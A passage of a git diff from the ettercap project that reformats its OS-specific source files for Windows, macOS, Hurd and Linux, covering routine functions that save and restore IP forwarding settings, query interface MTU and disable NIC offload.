License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- cygwin specific functions + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include @@ -28,15 +28,14 @@ static HKEY handle; void disable_ip_forward(void) { - long Status; + long Status; #ifdef WIN9X - DWORD dim = 2; - char IpForwardSz[2]; + DWORD dim = 2; + char IpForwardSz[2]; #else - DWORD dim = 4; + DWORD dim = 4; #endif - DWORD value = 3; - + DWORD value = 3; Status = RegOpenKeyEx(HKEY_LOCAL_MACHINE, #ifdef WIN9X @@ -45,12 +44,12 @@ void disable_ip_forward(void) TEXT("SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters"), #endif 0, - KEY_READ|KEY_SET_VALUE, + KEY_READ | KEY_SET_VALUE, &handle); #ifdef WIN9X Status = RegQueryValueEx(handle, TEXT("EnableRouting"), NULL, NULL, (LPBYTE)IpForwardSz, &dim); - value = IpForwardSz[0]-'0'; + value = IpForwardSz[0] - '0'; #else Status = RegQueryValueEx(handle, TEXT("IPEnableRouter"), NULL, NULL, (LPBYTE)&value, &dim); #endif @@ -59,7 +58,7 @@ void disable_ip_forward(void) if (value == 0) { /* if forward is already 0 */ - return; + return; } saved_status = value; @@ -92,16 +91,16 @@ void disable_ip_forward(void) void restore_ip_forward(void) { #ifdef WIN9X - DWORD dim = 2; - char IpForwardSz[2]; + DWORD dim = 2; + char IpForwardSz[2]; #else - DWORD dim = 4; + DWORD dim = 4; #endif /* the handle was already opened in disable_ip_forward */ - + DEBUG_MSG("ATEXIT: restore_ip_forward: retoring to value %d", saved_status); - + #ifdef WIN9X IpForwardSz[0] = saved_status + '0'; IpForwardSz[1] = '\0'; @@ -111,27 +110,26 @@ void restore_ip_forward(void) #endif RegCloseKey(handle); - } #ifdef WITH_IPV6 -/* +/* * empty wrapper functions until IPv6 support for Windows */ void disable_ipv6_forward(void) { - DEBUG_MSG ("disable_ipv6_forward (no-op)\n"); + DEBUG_MSG("disable_ipv6_forward (no-op)\n"); } void restore_ipv6_forward(void) { - DEBUG_MSG ("restore_ipv6_forward (no-op)\n"); + DEBUG_MSG("restore_ipv6_forward (no-op)\n"); } -#endif +#endif -/* - * get the MTU parameter from the interface +/* + * get the MTU parameter from the interface */ u_int16 get_iface_mtu(const char *iface) { @@ -143,4 +141,3 @@ u_int16 get_iface_mtu(const char *iface) /* EOF */ // vim:ts=3:expandtab - diff --git a/src/os/ec_darwin.c b/src/os/ec_darwin.c index 022806b7c..bbfef2cae 100644 --- a/src/os/ec_darwin.c +++ b/src/os/ec_darwin.c @@ -1,21 +1,21 @@ /* - ettercap -- darwin specific functions - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- darwin specific functions + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include @@ -34,7 +34,7 @@ static int saved_status_v6; void disable_ip_forward(void) { - int mib[4]; + int mib[4]; int val = 0; size_t len; @@ -45,16 +45,15 @@ void disable_ip_forward(void) len = sizeof(saved_status); - if( (sysctl(mib, 4, &saved_status, &len, &val, sizeof(val))) == -1) + if ((sysctl(mib, 4, &saved_status, &len, &val, sizeof(val))) == -1) ERROR_MSG("sysctl() | net.inet.ip.forwarding"); DEBUG_MSG("disable_ip_forward | net.inet.ip.forwarding = %d old_value = %d\n", val, saved_status); - + atexit(restore_ip_forward); atexit(regain_privs_atexit); } - void restore_ip_forward(void) { int mib[4]; @@ -63,23 +62,22 @@ void restore_ip_forward(void) mib[1] = PF_INET; mib[2] = IPPROTO_IP; mib[3] = IPCTL_FORWARDING; - + /* no need to restore anything */ if (saved_status == 0) return; - + /* restore the old value */ - if( (sysctl(mib, 4, NULL, NULL, &saved_status, sizeof(saved_status))) == -1) + if ((sysctl(mib, 4, NULL, NULL, &saved_status, sizeof(saved_status))) == -1) FATAL_ERROR("Please restore manually the value of net.inet.ip.forwarding to %d", saved_status); DEBUG_MSG("ATEXIT: restore_ip_forward | net.inet.ip.forwarding = %d\n", saved_status); - } #ifdef WITH_IPV6 void disable_ipv6_forward(void) { - int mib[4]; + int mib[4]; int val = 0; size_t len; @@ -90,16 +88,15 @@ void disable_ipv6_forward(void) len = sizeof(saved_status_v6); - if( (sysctl(mib, 4, &saved_status_v6, &len, &val, sizeof(val))) == -1) + if ((sysctl(mib, 4, &saved_status_v6, &len, &val, sizeof(val))) == -1) ERROR_MSG("sysctl() | net.inet6.ip6.forwarding"); - DEBUG_MSG("disable_ipv6_forward | net.inet6.ip6.forwarding = %d old_value = %d\n", - val, saved_status_v6); - + DEBUG_MSG("disable_ipv6_forward | net.inet6.ip6.forwarding = %d old_value = %d\n", + val, saved_status_v6); + atexit(restore_ipv6_forward); } - void restore_ipv6_forward(void) { int mib[4]; @@ -112,20 +109,20 @@ void restore_ipv6_forward(void) /* no need to restore anything */ if (saved_status_v6 == 0) return; - + /* restore the old value */ - if( (sysctl(mib, 4, NULL, NULL, &saved_status_v6, sizeof(saved_status_v6))) == -1) - FATAL_ERROR("Please restore manually the value of net.inet6.ip6.forwarding to %d", - saved_status_v6); + if ((sysctl(mib, 4, NULL, NULL, &saved_status_v6, sizeof(saved_status_v6))) == -1) + FATAL_ERROR("Please restore manually the value of net.inet6.ip6.forwarding to %d", + saved_status_v6); - DEBUG_MSG("ATEXIT: restore_ipv6_forward | net.inet6.ip6.forwarding = %d\n", - saved_status_v6); - + DEBUG_MSG("ATEXIT: restore_ipv6_forward | net.inet6.ip6.forwarding = %d\n", + saved_status_v6); } + #endif -/* - * get the MTU parameter from the interface +/* + * get the MTU parameter from the interface */ u_int16 get_iface_mtu(const char *iface) { @@ -135,25 +132,24 @@ u_int16 get_iface_mtu(const char *iface) /* open the socket to work on */ sock = socket(PF_INET, SOCK_DGRAM, 0); if (sock == -1) - FATAL_ERROR("Unable to open socket on interface for MTU query\n"); + FATAL_ERROR("Unable to open socket on interface for MTU query\n"); memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, iface, sizeof(ifr.ifr_name)); - + /* get the MTU */ - if ( ioctl(sock, SIOCGIFMTU, &ifr) < 0) { + if (ioctl(sock, SIOCGIFMTU, &ifr) < 0) { DEBUG_MSG("get_iface_mtu: MTU FAILED... assuming 1500"); mtu = 1500; } else { DEBUG_MSG("get_iface_mtu: %d", ifr.ifr_mtu); mtu = ifr.ifr_mtu; } - + close(sock); - + return mtu; } /* EOF */ // vim:ts=3:expandtab - diff --git a/src/os/ec_dummy.c b/src/os/ec_dummy.c index 2c1b22e65..f6cb3c23a 100644 --- a/src/os/ec_dummy.c +++ b/src/os/ec_dummy.c @@ -1,27 +1,24 @@ /* - ettercap -- dummy module, only a workaround for Makefile.am - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ - + * ettercap -- dummy module, only a workaround for Makefile.am + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ /*******************************************/ - /* EOF */ // vim:ts=3:expandtab - diff --git a/src/os/ec_gnu.c b/src/os/ec_gnu.c index 9531afa8d..966ecbda6 100644 --- a/src/os/ec_gnu.c +++ b/src/os/ec_gnu.c @@ -1,27 +1,27 @@ /* - ettercap -- GNU hurd specific functions - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- GNU hurd specific functions + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ /* XXX GNU/hurd seems to be NOT supported at this point - See https://github.com/Ettercap/ettercap/issues/151 - http://www.mail-archive.com/debian-hurd@lists.debian.org/msg21345.html - These functions are just "stubs" to allow the package build for hurd - patches are welcome! -*/ + * See https://github.com/Ettercap/ettercap/issues/151 + * http://www.mail-archive.com/debian-hurd@lists.debian.org/msg21345.html + * These functions are just "stubs" to allow the package build for hurd + * patches are welcome! + */ #include void disable_interface_offload(void); @@ -29,29 +29,30 @@ void disable_interface_offload(void); void disable_ip_forward(void) { - DEBUG_MSG ("disable_ip_forward (no-op)\n"); + DEBUG_MSG("disable_ip_forward (no-op)\n"); } void restore_ip_forward(void) { - DEBUG_MSG ("restore_ip_forward (no-op)\n"); + DEBUG_MSG("restore_ip_forward (no-op)\n"); } #ifdef WITH_IPV6 void disable_ipv6_forward(void) { - DEBUG_MSG ("disable_ipv6_forward (no-op)\n"); + DEBUG_MSG("disable_ipv6_forward (no-op)\n"); } void restore_ipv6_forward(void) { - DEBUG_MSG ("restore_ipv6_forward (no-op)\n"); + DEBUG_MSG("restore_ipv6_forward (no-op)\n"); } + #endif u_int16 get_iface_mtu(const char *iface) { - (void) iface; + (void)iface; return 0; } @@ -62,4 +63,3 @@ void disable_interface_offload(void) /* EOF */ // vim:ts=3:expandtab - diff --git a/src/os/ec_linux.c b/src/os/ec_linux.c index f1cccf4fb..68338e5f7 100644 --- a/src/os/ec_linux.c +++ b/src/os/ec_linux.c @@ -1,21 +1,21 @@ /* - ettercap -- linux specific functions - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- linux specific functions + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -35,7 +35,7 @@ static char saved_status_v6_global, saved_status_v6_iface; void disable_ip_forward(void) { FILE *fd; - + fd = fopen("/proc/sys/net/ipv4/ip_forward", "r"); ON_ERROR(fd, NULL, "failed to open /proc/sys/net/ipv4/ip_forward"); @@ -43,13 +43,13 @@ void disable_ip_forward(void) fclose(fd); DEBUG_MSG("disable_ip_forward: old value = %c", saved_status); - + fd = fopen("/proc/sys/net/ipv4/ip_forward", "w"); ON_ERROR(fd, NULL, "failed to open /proc/sys/net/ipv4/ip_forward"); - + fprintf(fd, "0"); fclose(fd); - + atexit(restore_ip_forward); atexit(regain_privs_atexit); } @@ -58,14 +58,14 @@ void restore_ip_forward(void) { FILE *fd; char current_status; - + /* no modification needed */ if (saved_status == '0') return; - + if (getuid()) { DEBUG_MSG("ATEXIT: restore_ip_forward: cannot restore ip_forward " - "since the privileges have been dropped to non root\n"); + "since the privileges have been dropped to non root\n"); FATAL_ERROR("ip_forwarding was disabled, but we cannot re-enable it now.\n" "remember to re-enable it manually\n"); return; @@ -75,7 +75,7 @@ void restore_ip_forward(void) fscanf(fd, "%c", ¤t_status); fclose(fd); - + DEBUG_MSG("ATEXIT: restore_ip_forward: curr: %c saved: %c", current_status, saved_status); if (current_status == saved_status) { @@ -94,7 +94,6 @@ void restore_ip_forward(void) fclose(fd); DEBUG_MSG("ATEXIT: restore_ip_forward: restore to %c", saved_status); - } #ifdef WITH_IPV6 @@ -103,11 +102,11 @@ void disable_ipv6_forward(void) FILE *fd; char fpath_global[] = "/proc/sys/net/ipv6/conf/all/forwarding"; char fpath_iface[64]; - + /* global configuration */ fd = fopen(fpath_global, "r"); ON_ERROR(fd, NULL, "failed to open %s", fpath_global); - + fscanf(fd, "%c", &saved_status_v6_global); fclose(fd); @@ -116,7 +115,7 @@ void disable_ipv6_forward(void) fd = fopen(fpath_iface, "r"); ON_ERROR(fd, NULL, "failed to open %s", fpath_iface); - + fscanf(fd, "%c", &saved_status_v6_iface); fclose(fd); @@ -132,10 +131,9 @@ void disable_ipv6_forward(void) fprintf(fd, "0"); fclose(fd); - DEBUG_MSG("disable_ipv6_forward: old value = %c/%c (global/interface %s)", - saved_status_v6_global, saved_status_v6_iface, GBL_OPTIONS->iface); - - + DEBUG_MSG("disable_ipv6_forward: old value = %c/%c (global/interface %s)", + saved_status_v6_global, saved_status_v6_iface, GBL_OPTIONS->iface); + atexit(restore_ipv6_forward); } @@ -145,26 +143,26 @@ void restore_ipv6_forward(void) char current_status_global, current_status_iface; char fpath_global[] = "/proc/sys/net/ipv6/conf/all/forwarding"; char fpath_iface[64]; - + /* no modification needed */ if (saved_status_v6_global == '0' && saved_status_v6_iface == '0') return; - + if (getuid()) { DEBUG_MSG("ATEXIT: restore_ipv6_forward: cannot restore ipv6_forward " - "since the privileges have been dropped to non root\n"); + "since the privileges have been dropped to non root\n"); FATAL_ERROR("ipv6_forwarding was disabled, but we cannot re-enable it now.\n" "remember to re-enable it manually\n"); return; } - + /* global configuration */ fd = fopen(fpath_global, "r"); ON_ERROR(fd, NULL, "failed to open %s", fpath_global); fscanf(fd, "%c", ¤t_status_global); fclose(fd); - + /* interface specific configuration */ snprintf(fpath_iface, 63, "/proc/sys/net/ipv6/conf/%s/forwarding", GBL_OPTIONS->iface); @@ -173,13 +171,14 @@ void restore_ipv6_forward(void) fscanf(fd, "%c", ¤t_status_iface); fclose(fd); - - DEBUG_MSG("ATEXIT: restore_ipv6_forward: curr: %c/%c saved: %c/%c (global/interface %s)", - current_status_global, current_status_iface, - saved_status_v6_global, saved_status_v6_iface, GBL_OPTIONS->iface); - if (current_status_global == saved_status_v6_global && - current_status_iface == saved_status_v6_iface) { + DEBUG_MSG("ATEXIT: restore_ipv6_forward: curr: %c/%c saved: %c/%c (global/interface %s)", + current_status_global, current_status_iface, + saved_status_v6_global, saved_status_v6_iface, GBL_OPTIONS->iface); + + if (current_status_global == saved_status_v6_global && + current_status_iface == saved_status_v6_iface) + { DEBUG_MSG("ATEXIT: restore_ipv6_forward: does not need restoration"); return; } @@ -195,24 +194,23 @@ void restore_ipv6_forward(void) "remember to re-enable it manually\n"); } - /* write back interface specific configuration */ if ((fd = fopen(fpath_iface, "w")) != NULL) { fprintf(fd, "%c", saved_status_v6_iface); fclose(fd); - DEBUG_MSG("ATEXIT: restore_ipv6_forward: restore %s to %c", - GBL_OPTIONS->iface, saved_status_v6_iface); + DEBUG_MSG("ATEXIT: restore_ipv6_forward: restore %s to %c", + GBL_OPTIONS->iface, saved_status_v6_iface); } else { FATAL_ERROR("interface ipv6_forwarding was disabled, but we cannot re-enable it now.\n" "remember to re-enable it manually\n"); } - } + #endif -/* - * get the MTU parameter from the interface +/* + * get the MTU parameter from the interface */ u_int16 get_iface_mtu(const char *iface) { @@ -225,81 +223,80 @@ u_int16 get_iface_mtu(const char *iface) FATAL_ERROR("Unable to open socket on interface for MTU query\n"); memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, iface, sizeof(ifr.ifr_name)); - + /* get the MTU */ - if ( ioctl(sock, SIOCGIFMTU, &ifr) < 0) { + if (ioctl(sock, SIOCGIFMTU, &ifr) < 0) { DEBUG_MSG("get_iface_mtu: MTU FAILED... assuming 1500"); mtu = 1500; } else { DEBUG_MSG("get_iface_mtu: %d", ifr.ifr_mtu); mtu = ifr.ifr_mtu; } - + close(sock); - + return mtu; } - /* * disable segmentation offload on interface * this prevents L3 send errors (payload too large) */ void disable_interface_offload(void) { - int param_length= 0; - char *command; - char **param = NULL; - char *p; - int ret_val, i = 0; + int param_length = 0; + char *command; + char **param = NULL; + char *p; + int ret_val, i = 0; - SAFE_CALLOC(command, 100, sizeof(char)); + SAFE_CALLOC(command, 100, sizeof(char)); - BUG_IF(command==NULL); + BUG_IF(command == NULL); - memset(command, '\0', 100); - snprintf(command, 99, "ethtool -K %s tso off gso off gro off lro off", GBL_OPTIONS->iface); + memset(command, '\0', 100); + snprintf(command, 99, "ethtool -K %s tso off gso off gro off lro off", GBL_OPTIONS->iface); - DEBUG_MSG("disable_interface_offload: Disabling offload on %s", GBL_OPTIONS->iface); + DEBUG_MSG("disable_interface_offload: Disabling offload on %s", GBL_OPTIONS->iface); - for(p = strsep(&command, " "); p != NULL; p = strsep(&command, " ")) { - SAFE_REALLOC(param, (i+1) * sizeof(char *)); - param[i++] = strdup(p); - } + for (p = strsep(&command, " "); p != NULL; p = strsep(&command, " ")) { + SAFE_REALLOC(param, (i + 1) * sizeof(char *)); + param[i++] = strdup(p); + } - SAFE_REALLOC(param, (i+1) * sizeof(char *)); - param[i] = NULL; - param_length= i + 1; //because there is a SAFE_REALLOC after the for. + SAFE_REALLOC(param, (i + 1) * sizeof(char *)); + param[i] = NULL; + param_length = i + 1; // because there is a SAFE_REALLOC after the for. - switch(fork()) { - case 0: + switch (fork()) { + case 0: #ifndef DEBUG - /* don't print on console if the ethtool cannot disable some offloads unless you are in debug mode */ - close(2); + /* don't print on console if the ethtool cannot disable some offloads unless you are in debug mode */ + close(2); #endif - execvp(param[0], param); - WARN_MSG("cannot disable offload on %s, do you have ethtool installed?", GBL_OPTIONS->iface); - safe_free_mem(param, ¶m_length, command); - _exit(-E_INVALID); - case -1: - safe_free_mem(param, ¶m_length, command); - default: - safe_free_mem(param, ¶m_length, command); - wait(&ret_val); - } + execvp(param[0], param); + WARN_MSG("cannot disable offload on %s, do you have ethtool installed?", GBL_OPTIONS->iface); + safe_free_mem(param, ¶m_length, command); + _exit(-E_INVALID); + case -1: + safe_free_mem(param, ¶m_length, command); + default: + safe_free_mem(param, ¶m_length, command); + wait(&ret_val); + } } #ifdef WITH_IPV6 -/* +/* * if privacy extension for IPv6 is enabled, under certain * circumstances, an IPv6 socket can not be written exiting with * code -1 bytes written (Cannot assign requested address). - * see pull request #245.(https://github.com/Ettercap/ettercap/pull/245) - * + * see pull request #245.(https://github.com/Ettercap/ettercap/pull/245) + * * this usually happens after returning from hibernation * therefore we should warn users. - * - * however investigation of the root cause continues but as long as + * + * however investigation of the root cause continues but as long as * it isn't identified and fixed, this function is being kept. */ void check_tempaddr(const char *iface) @@ -310,7 +307,7 @@ void check_tempaddr(const char *iface) char fpath_iface[64]; snprintf(fpath_iface, 63, "/proc/sys/net/ipv6/conf/%s/use_tempaddr", iface); - + fd = fopen(fpath_global, "r"); ON_ERROR(fd, NULL, "failed to open %s", fpath_global); @@ -320,29 +317,28 @@ void check_tempaddr(const char *iface) fclose(fd); DEBUG_MSG("check_tempaddr: %s = %c", fpath_global, mode_global); - + fd = fopen(fpath_iface, "r"); ON_ERROR(fd, NULL, "failed to open %s", fpath_iface); mode_iface = fgetc(fd); ON_ERROR(mode_iface, EOF, "failed to read value from %s", fpath_iface); - + fclose(fd); - + DEBUG_MSG("check_tempaddr: %s = %c", fpath_iface, mode_iface); if (mode_global != '0') - USER_MSG("Ettercap might not work correctly. %s is not set to 0.\n", - fpath_global); - - if (mode_iface != '0') - USER_MSG("Ettercap might not work correctly. %s is not set to 0.\n", - fpath_iface); + USER_MSG("Ettercap might not work correctly. %s is not set to 0.\n", + fpath_global); + if (mode_iface != '0') + USER_MSG("Ettercap might not work correctly. %s is not set to 0.\n", + fpath_iface); } + #endif /* EOF */ // vim:ts=3:expandtab - diff --git a/src/os/ec_mingw.c b/src/os/ec_mingw.c index 69de7d1da..3ba861e65 100644 --- a/src/os/ec_mingw.c +++ b/src/os/ec_mingw.c @@ -1,27 +1,27 @@ /* - ettercap -- mingw specific functions - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - - - Various functions needed for native Windows compilers (not CygWin I guess??) - We export these (for the plugins) with a "ec_win_" prefix in order not to accidentally - link with other symbols in some foreign lib. - - Copyright (C) G. Vanem 2003 - + * ettercap -- mingw specific functions + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + * + * Various functions needed for native Windows compilers (not CygWin I guess??) + * We export these (for the plugins) with a "ec_win_" prefix in order not to accidentally + * link with other symbols in some foreign lib. + * + * Copyright (C) G. Vanem 2003 + * */ #include @@ -43,14 +43,13 @@ HANDLE pcap_getevent(pcap_t *p); - #if defined(HAVE_NCURSES) && !defined(BUILDING_UTILS) - #include - #include +#include +#include - extern bool trace_on; /* From */ - extern int PDC_check_bios_key (void); - extern void PDC_debug (char*, ...); +extern bool trace_on; /* From */ +extern int PDC_check_bios_key(void); +extern void PDC_debug(char *, ...); #endif #ifndef __inline @@ -68,7 +67,7 @@ HANDLE pcap_getevent(pcap_t *p); static void setup_console(void); static void pdc_ncurses_init(void); -static void __attribute__((destructor)) exit_console (void); +static void __attribute__((destructor)) exit_console(void); static BOOL has_console; static BOOL started_from_a_gui; @@ -79,7 +78,7 @@ static BOOL attached_to_console; static void __init win_init(void) { /* Dr MingW JIT */ - LoadLibrary ("exchndl.dll"); + LoadLibrary("exchndl.dll"); setup_console(); pdc_ncurses_init(); } @@ -91,66 +90,67 @@ static void __init win_init(void) #define OID_GEN_MAXIMUM_TOTAL_SIZE 0x00010111 #endif -static BOOL get_interface_mtu (ADAPTER *adapter, DWORD *mtu) +static BOOL get_interface_mtu(ADAPTER *adapter, DWORD *mtu) { - struct { - PACKET_OID_DATA oidData; - DWORD mtu; - } oid; - - memset (&oid, 0, sizeof(oid)); - oid.oidData.Oid = OID_GEN_MAXIMUM_TOTAL_SIZE; - oid.oidData.Length = sizeof(oid); - - if (!PacketRequest(adapter, FALSE, &oid.oidData)) - return (FALSE); - *mtu = *(DWORD*) &oid.oidData.Data; - return (TRUE); + struct { + PACKET_OID_DATA oidData; + DWORD mtu; + } oid; + + memset(&oid, 0, sizeof(oid)); + oid.oidData.Oid = OID_GEN_MAXIMUM_TOTAL_SIZE; + oid.oidData.Length = sizeof(oid); + + if (!PacketRequest(adapter, FALSE, &oid.oidData)) + return FALSE; + *mtu = *(DWORD *)&oid.oidData.Data; + return TRUE; } u_int16 get_iface_mtu(const char *iface) { if (iface) { ADAPTER *adapter; - DWORD mtu = 0; + DWORD mtu = 0; - adapter = PacketOpenAdapter ((PCHAR)iface); + adapter = PacketOpenAdapter((PCHAR)iface); if (adapter) { - BOOL rc = get_interface_mtu (adapter, &mtu); + BOOL rc = get_interface_mtu(adapter, &mtu); DEBUG_MSG("get_interface_mtu(): mtu %lu, %s", mtu, rc ? "okay" : "failed"); - - PacketCloseAdapter (adapter); + + PacketCloseAdapter(adapter); if (rc & mtu) - return (mtu); + return mtu; } else DEBUG_MSG("get_interface_mtu(): failed to open iface \"%s\"; %s", - iface, ec_win_strerror(GetLastError())); + iface, ec_win_strerror(GetLastError())); } - - return (1514); /* Assume ethernet */ + + return 1514; /* Assume ethernet */ } void disable_ip_forward(void) { - DEBUG_MSG ("disable_ip_forward (no-op)\n"); + DEBUG_MSG("disable_ip_forward (no-op)\n"); } void restore_ip_forward(void) { - DEBUG_MSG ("restore_ip_forward (no-op)\n"); + DEBUG_MSG("restore_ip_forward (no-op)\n"); } #ifdef WITH_IPV6 void disable_ipv6_forward(void) { - DEBUG_MSG ("disable_ipv6_forward (no-op)\n"); + DEBUG_MSG("disable_ipv6_forward (no-op)\n"); } void restore_ipv6_forward(void) { - DEBUG_MSG ("restore_ipv6_forward (no-op)\n"); + DEBUG_MSG("restore_ipv6_forward (no-op)\n"); } + #endif /* @@ -159,61 +159,61 @@ void restore_ipv6_forward(void) * Note: this function is called outside the capture thread, so take * care not to modify the pcap_handle in any way. */ -int ec_win_pcap_stop (const void *pcap_handle) +int ec_win_pcap_stop(const void *pcap_handle) { - static CRITICAL_SECTION crit; - HANDLE hnd = pcap_getevent ((pcap_t*)pcap_handle); - BOOL rc; - DWORD err; - - DEBUG_MSG("%s: signalling pcap to stop...", __FUNCTION__); - if (!hnd) { - DEBUG_MSG("no event-handle!?\n"); - return (0); - } - - InitializeCriticalSection (&crit); - EnterCriticalSection (&crit); - rc = SetEvent (hnd); - err = !rc ? GetLastError() : 0UL; - LeaveCriticalSection (&crit); - DEBUG_MSG("rc %d, %s\n", rc, ec_win_strerror(err)); - return (1); + static CRITICAL_SECTION crit; + HANDLE hnd = pcap_getevent((pcap_t *)pcap_handle); + BOOL rc; + DWORD err; + + DEBUG_MSG("%s: signalling pcap to stop...", __FUNCTION__); + if (!hnd) { + DEBUG_MSG("no event-handle!?\n"); + return 0; + } + + InitializeCriticalSection(&crit); + EnterCriticalSection(&crit); + rc = SetEvent(hnd); + err = !rc ? GetLastError() : 0UL; + LeaveCriticalSection(&crit); + DEBUG_MSG("rc %d, %s\n", rc, ec_win_strerror(err)); + return 1; } /* * No fork() in Windows, just beep */ -void set_daemon_interface (void) +void set_daemon_interface(void) { - _putch ('\a'); + _putch('\a'); } -int ec_win_gettimeofday (struct timeval *tv, struct timezone *tz) +int ec_win_gettimeofday(struct timeval *tv, struct timezone *tz) { - struct _timeb tb; - - if (!tv && !tz) { - errno = EINVAL; - return (-1); - } - - _ftime (&tb); - if (tv) { - tv->tv_sec = tb.time; - tv->tv_usec = MILLI2MICRO(tb.millitm); - } - if (tz) { - tz->tz_minuteswest = tb.timezone; - tz->tz_dsttime = tb.dstflag; - } - return (0); + struct _timeb tb; + + if (!tv && !tz) { + errno = EINVAL; + return -1; + } + + _ftime(&tb); + if (tv) { + tv->tv_sec = tb.time; + tv->tv_usec = MILLI2MICRO(tb.millitm); + } + if (tz) { + tz->tz_minuteswest = tb.timezone; + tz->tz_dsttime = tb.dstflag; + } + return 0; } /* * Use PDcurses' keyboard checker if it's initialised. */ -static int __inline win_kbhit (void) +static int __inline win_kbhit(void) { #if defined(HAVE_NCURSES) && !defined(BUILDING_UTILS) if ((current_screen.flags & WDG_SCR_INITIALIZED)) @@ -221,71 